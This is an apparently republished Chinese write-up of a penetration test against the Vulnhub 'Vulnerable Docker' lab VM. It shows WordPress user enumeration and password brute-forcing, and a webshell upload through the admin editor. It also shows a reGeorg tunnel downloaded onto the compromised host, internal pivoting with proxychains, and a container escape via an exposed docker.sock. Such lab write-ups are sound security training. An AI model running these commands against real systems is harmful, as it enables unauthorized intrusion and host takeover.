记一次对Vulnerable Docker靶机渗透全过程
记一次对Vulnerable Docker靶机渗透全过程
Vulnhub
它是一个提供各种漏洞环境的平台,里面大部分的环境是要用VMware
或者VirtualBox
打开运行的。
今天我主要是使用VMware
搭建一个Vulnerable Docker
靶机环境,主要是为了练习使用。
完整找出所有flag
只是基本任务,实现提权才是终极目标。我并不追求最快夺旗,而是尽可能运用所学的知识完整的运用在这套靶机中,所以,
这篇文章中,或许某些内容对拿到flag
无直接帮助,但在应对真实目标时,还是有一点帮助的。
0x01:Vulnerable Docker靶机下载
里面有各种各样的镜像,可以下载到自己的机子上面练习。
(需要我们注意的是,下载靶机环境的时候,我们需要提前看清这个靶机环境是否支持VMware
的安装,否则就不可以安装在VWMare
上面)
今天我们选择的是使用Vulnerable Docker: 1
靶机环境
首先:这个靶机环境支持VMware
环境的安装。
其次:靶机环境比较简单(flag
只有三个)
靶机下载地址:Download
:https://download.vulnhub.com/vulnerabledocker/vulnerable_docker_containement.ova
0x02:Vulnerable Docker靶机安装
下载完成之后就会看见有ova
格式的文件
双击导入VMware
中就可以了(具体操作过程)
点击下一步:
最后等待导入完成,导入速度看本机性能和镜像的大小
再对靶机环境进行配置一下:
启动Vulnerable Docker
靶机就可以看见
0x03:完成任务!
作者给我们的描述是:这里里面有三个flag
(其中的flag_2
被发行者无意中遗漏了)
We have planted 3 flag files across the various machines / systems that are available to you
Your mission if you choose to accept would be as following:
Identify all the flags (2 in total: flag_1 and flag_3) (flag_2 was inadvertently left out)
1:网络扫描
启动Vulnerable Docker
靶机就可以看见:
使用nmap
对靶机IP
地址进行扫描:
nmap -A 192.168.232.134
2:flag_1
我们先打开8000
端口,看看有没有flag
:
使用WPscan
进行漏洞扫描:
wpscan --url http://192.168.232.134:8000/
打开链接:http://192.168.232.134:8000/robots.txt
使用WPscan
进行枚举用户名:
wpscan --url http://192.168.232.134:8000/ --enumerate u
按照正常思维对用户名进行爆破:
wpscan --url http://192.168.232.134:8000/ -e u --wordlist /root/桌面/1.txt
并没有爆破得到任何信息(QAQ):
这个时候需要我们再回头开始看起,看见一个链接,wordpress
的登录端口:http://192.168.232.134:8000/wp-admin/
使用刚刚爆破出来的用户名bob
填进去就可以了,而在这里的密码需要使用burp
进行爆破(具体操作过程)
爆破得到:
成功登录后台(经过一系列的乱翻之后就会找到)
3:flag_3
这下面的操作是在我的另一个kali
中的操作(具体原因下文会提到)
如果可以进入Wordpress
的后台,那么拿shell
就很简单了,使用在线编辑功能就可以。
使用菜刀上传一句话(php
)
连上shell
后收集了下面的一些信息
数据库中的信息:
define('DB_NAME', 'wordpress'); define('DB_USER', 'wordpress'); define('DB_PASSWORD', 'WordPressISBest'); define('DB_HOST', 'db:3306');
系统是 Linux 8f4bca8ef241 3.13.0-128-generic #177-Ubuntu SMP Tue Aug 8 11:40:23 UTC 2017 x86_64 GNU/Linux
,用户是
www-data
,这么新的系统直接就可以放弃提权了,否则Dirty COW
之类的洞还是超级好用的,不过我们可以参考下面这一篇文章,找到一点灵感
可以参考Tunnel Manager - From RCE to Docker Escape
:https://paper.seebug.org/396/
ip addr
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00 inet 127.0.0.1/8 scope host lo valid_lft forever preferred_lft forever 5: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default link/ether 02:42:ac:12:00:02 brd ff:ff:ff:ff:ff:ff inet 172.18.0.2/16 scope global eth0 valid_lft forever preferred_lft forever
想起题目是Vulnerable Docker VM
,猜想应该就是docker.sock
或者HTTP API
未授权访问之类的问题,不过翻了下没找到什么。
但是看机器的IP
,感觉这个虚拟机里面应该还有个docker network
的内网,简单的ping
了下,发现至少是存在172.18.0.1-4
的,这时候
需要做一下内网穿透,这样方便在我的电脑上操作,否则shell
里面缺少很多工具和依赖,比较麻烦。
我使用的是 reGeorg
:https://github.com/sensepost/reGeorg
curl -o tunnel.php https://raw.githubusercontent.com/sensepost/reGeorg/master/tunnel.nosocket.php
浏览器访问了一下,显示Georg says,'All seems fine'
本地电脑上运行python reGeorgSocksProxy.py -u http://192.168.30.171:8000/tunnel.php
[INFO ] Log Level set to [INFO] [INFO ] Starting socks server [127.0.0.1:8888], tunnel at [http://192.168.30.171:8000/tunnel.php] [INFO ] Checking if Georg is ready [INFO ] Georg says, 'All seems fine'
因为reGeorg
提供的是socks5
代理,所以需要本地使用proxychains
具体配置不多说了
proxychains mysql -u wordpress -pWordPressISBest -h 172.18.0.4
连接数据库,
但是并没有找到什么 flag
,然后继续扫内网,还是nmap
那一堆命令加上proxychains
前缀就好。
然后发现一个IP
有个奇怪的端口
Nmap scan report for 172.18.0.3 Host is up (0.0062s latency). Not shown: 998 closed ports PORT STATE SERVICE 22/tcp open ssh 8022/tcp open oa-system
curl
看了下,貌似是一个网页,然后在设置了浏览器的socks5
代理,就看到了,原来是一个网页版ssh
,而且这里面终于有docker.sock
。
接下来就是老套路了,可以参考 :Docker学习与remote API未授权访问分析和利用:https://www.secpulse.com/archives/55928.html
而我是直接在另一个kali
中里面安装了一个docker
,这样就可以操作主机上的docker
了。
然后使用volume
挂载主机上的所有文件到一个目录
docker run -it --rm -v /:/vol wordpress /bin/bash
这样就可以看到flag_3
了
关于这一个靶机漏洞可以学习到很多知识
首先:关于wordpress
漏洞
其次:提权中遇到的关于Tunnel Manager - From RCE to Docker Escape
漏洞
最后:关于Docker
的自学以及Docker
学习与remote API
未授权访问分析和利用
参考资料:
Vulnerable Docker靶机下载:https://www.vulnhub.com/entry/vulnerable-docker-1,208/
Docker学习与remote API未授权访问分析和利用:https://www.secpulse.com/archives/55928.html
WPScan使用完整教程之记一次对WordPress的渗透过程: https://bbs.ichunqiu.com/forum.php?mod=viewthread&tid=46194&page=1#pid511454
Docker学习:https://www.bilibili.com/video/av17854410?from=search&seid=13990341548063716463
Tunnel Manager - From RCE to Docker Escape:https://paper.seebug.org/396/
reGeorg:https://github.com/sensepost/reGeorg
低调大师中文资讯倾力打造互联网数据资讯、行业资源、电子商务、移动互联网、网络营销平台。
持续更新报道IT业界、互联网、市场资讯、驱动更新,是最及时权威的产业资讯及硬件资讯报道平台。
转载内容版权归作者及来源网站所有,本站原创内容转载请注明来源。
- 上一篇
阿里云Kubernetes容器服务 - 快速部署虚拟节点virtual-nodes
容器和Serverless的多样结合 随着容器和Serverless概念的普及,阿里云容器服务团队和弹性计算团队合作推出了多个Serverless容器产品和解决方案,包括Serverless Kubernetes、弹性容器实例ECI、virtual-nodes addon功能。这些不同的产品为用户提供了丰富的无服务器容器应用场景支持。 Serverless Kubernetes 阿里云容器服务的Serverless Kubernetes已经公测一段时间,用户无需管理服务器,同时能够正常使用kubernetes各种API操作,包括创建pod、service、ingress、job等。无服务器的最大价值不仅是免去了服务器运维的负担,更为应用提供了强大的弹性扩容能力,弹性不再受限于集群的节点规模,而且应用仅按资源使用量付费。 Kubernete
- 下一篇
最简单的教程:在Ubuntu操作系统里安装Docker
Docker 是一个开源的应用容器引擎,让开发者可以打包他们的应用以及依赖包到一个可移植的容器中,然后发布到任何流行的 Linux 机器上,也可以实现虚拟化。容器是完全使用沙箱机制,相互之间不会有任何接口。 今天这篇文章咱们就来将Docker安装到Ubuntu上。 1. 由于Ubuntu里apt官方库里的docker版本可能比较低,因此先用下面的命令行卸载旧版本(如果有的话) sudo apt-get remove docker docker-engine docker-ce docker.io 2. 更新apt包索引: sudo apt-get update 3. 执行下列命令行,使apt可以通过HTTPS协议去使用存储库: sudo apt-get install -y apt-transport-https ca-certificates curl software-properties-common 4. 添加Docker官方提供的GPG密钥: curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo apt-...
相关文章
文章评论
共有0条评论来说两句吧...
文章二维码
点击排行
-
Docker使用Oracle官方镜像安装(12C,18C,19C)
- Springboot2将连接池hikari替换为druid,体验最强大的数据库连接池
- CentOS8编译安装MySQL8.0.19
- Docker快速安装Oracle11G,搭建oracle11g学习环境
- SpringBoot2配置默认Tomcat设置,开启更多高级功能
- MySQL8.0.19开启GTID主从同步CentOS8
- CentOS7,8上快速安装Gitea,搭建Git服务器
- Jdk安装(Linux,MacOS,Windows),包含三大操作系统的最全安装
- SpringBoot2编写第一个Controller,响应你的http请求并返回结果
推荐阅读
最新文章
- Springboot2将连接池hikari替换为druid,体验最强大的数据库连接池
- Docker使用Oracle官方镜像安装(12C,18C,19C)
- CentOS6,CentOS7官方镜像安装Oracle11G
- SpringBoot2整合Redis,开启缓存,提高访问速度
- Jdk安装(Linux,MacOS,Windows),包含三大操作系统的最全安装
- SpringBoot2配置默认Tomcat设置,开启更多高级功能
- SpringBoot2整合MyBatis,连接MySql数据库做增删改查操作
- Hadoop3单机部署,实现最简伪集群
- MySQL8.0.19开启GTID主从同步CentOS8
- SpringBoot2编写第一个Controller,响应你的http请求并返回结果